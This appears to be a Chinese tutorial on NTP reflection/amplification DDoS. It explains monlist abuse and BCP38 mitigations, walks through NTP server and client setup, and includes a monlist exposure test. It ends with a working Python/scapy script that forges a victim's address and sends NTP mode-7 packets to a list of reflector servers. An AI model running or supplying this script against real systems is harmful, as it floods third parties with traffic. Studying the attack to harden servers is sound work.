文章目錄
- 什么是NTP
- NTP反射放大攻擊
- 解決方案
- 搭建NTP服務器
- 部署服務器端
- windows NTP命令行
- 本機測試
- 部署客戶端
- ntpdate
- chrony
- 實驗
- Python利用腳本
什么是NTP
基于UDP協議的NTP(網絡時間協議):使網絡中各個計算機時間同步的一種協議
用途:把計算機時鐘調節到世界調節時UDP
NTP反射放大攻擊
-
UDP協議:面向無連接,客戶端發送請求包源IP容易進行偽造
-
反射攻擊:修改客戶端發送請求包中源IP為受害者IP,服務器端返回響應包返回到受害者IP
-
放大攻擊:一個請求包收到多個響應包
-
NTP反射放大攻擊:一種分布式拒絕服務(DDoS)攻擊
服務器端回復一個帶有欺騙源IP地址的數據包,而且至少有一個內置命令會對一個簡短的請求發送一個長回復。這使得它成為DDoS工具的理想選擇
NTP 包含一個
monlist
功能(MON_GETLIST
),主要用于監控 NTP 服務器。NTP 服務器響應
monlist
后就會返回響應包給和 NTP 服務器進行時間同步的最后 600 個客戶端的 IP,響應包按照每 6 個 IP 進行分割,最多有 100 個響應包。
解決方案
-
可以通過訪問open NTP項目(http://openntpproject.org/)來檢查網絡上是否有開放的NTP服務器支持MONLIST命令運行。
-
NTP和其他基于udp的放大攻擊都依賴于源IP地址欺騙。如果攻擊者不能欺騙源IP地址,那么他們只能自己攻擊DDoS。如果正在運行一個網絡,那么應該確保遵循BCP38,并防止帶有欺騙源地址的數據包離開主機網絡。可以使用麻省理工學院的Spoofer項目(http://spoofer.cmand.org/summary.php)的工具來測試你的網絡當前是否遵循BCP38。
搭建NTP服務器
部署服務器端
Windows server 2008
- 修改注冊表
依次展開數據項目,計算機\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\W32Time\TimeProviders\NtpServer,把Enabled設置為1,打開NTP服務
- 打開NTP服務
找到windows time
windows NTP命令行
啟動:net start w32time
停止:net stop w32time
本機測試
如果有回顯則服務正常
w32tm /stripchart /computer:127.0.0.1
部署客戶端
服務端部署成功后,如果要為客戶端提供服務的話需要開放udp協議中的123端口,或者根據自身安全情況關閉防火墻。客戶端下可以使用ntpdate命令來同步服務器時間,也可以使用chrony服務。
ntpdate
# 安裝ntpdate服務
sudo apt-get install ntpdate# 安裝完成后, 同步時間。xxx.xxx.xxx.xxx為你服務器的IP地址,clock -w把時間寫入硬件。
sudo ntpdate xxx.xxx.xxx.xxx && clock -w
chrony
chrony是一個時間同步服務,通過配置可以把一臺服務器變為NTP服務端或客戶端,這里只用到客戶端的功能。
sudo apt-get install chrony
安裝完成后打開配置文件
vim /etc/chrony.conf
如果做客戶端的話,只需要修改其中的一行文件,最后保存退出。
# xxx為你的IP地址
server xxx.xxx.xxx.xxx
重啟chrony服務,使用時間同步服務生效。
systemctl restart chronyd
實驗
linux中,可以使用ntpdate、ntpdc進行反射測試。
模擬協議,客戶端執行以下命令,執行成功時,說明服務端存在被攻擊風險,可實施攻擊。
ntpdate -n -c monlist x.x.x.x | wc -l(NTP服務的IP)
測試結果,此處內網由于數據量小
Python利用腳本
#!/usr/bin/env python
# -*- coding: utf-8 -*-import sys
from scapy.all import *def attack(target, ntp_server):send(IP(dst=ntp_server, src=target)/(UDP(sport=52816)/NTP(version=2, mode=7, stratum=0, poll=3, precision=42)))if __name__ == "__main__":if len(sys.argv) != 3:print("執行方法: python xxx.py 攻擊目標 ntp服務器文件")sys.exit(1)target = sys.argv[1]ntp_server_file = sys.argv[2]for ntp_server in open(ntp_server_file, "r"):ntp_server = ntp_server.strip()if ntp_server != "":attack(target, ntp_server)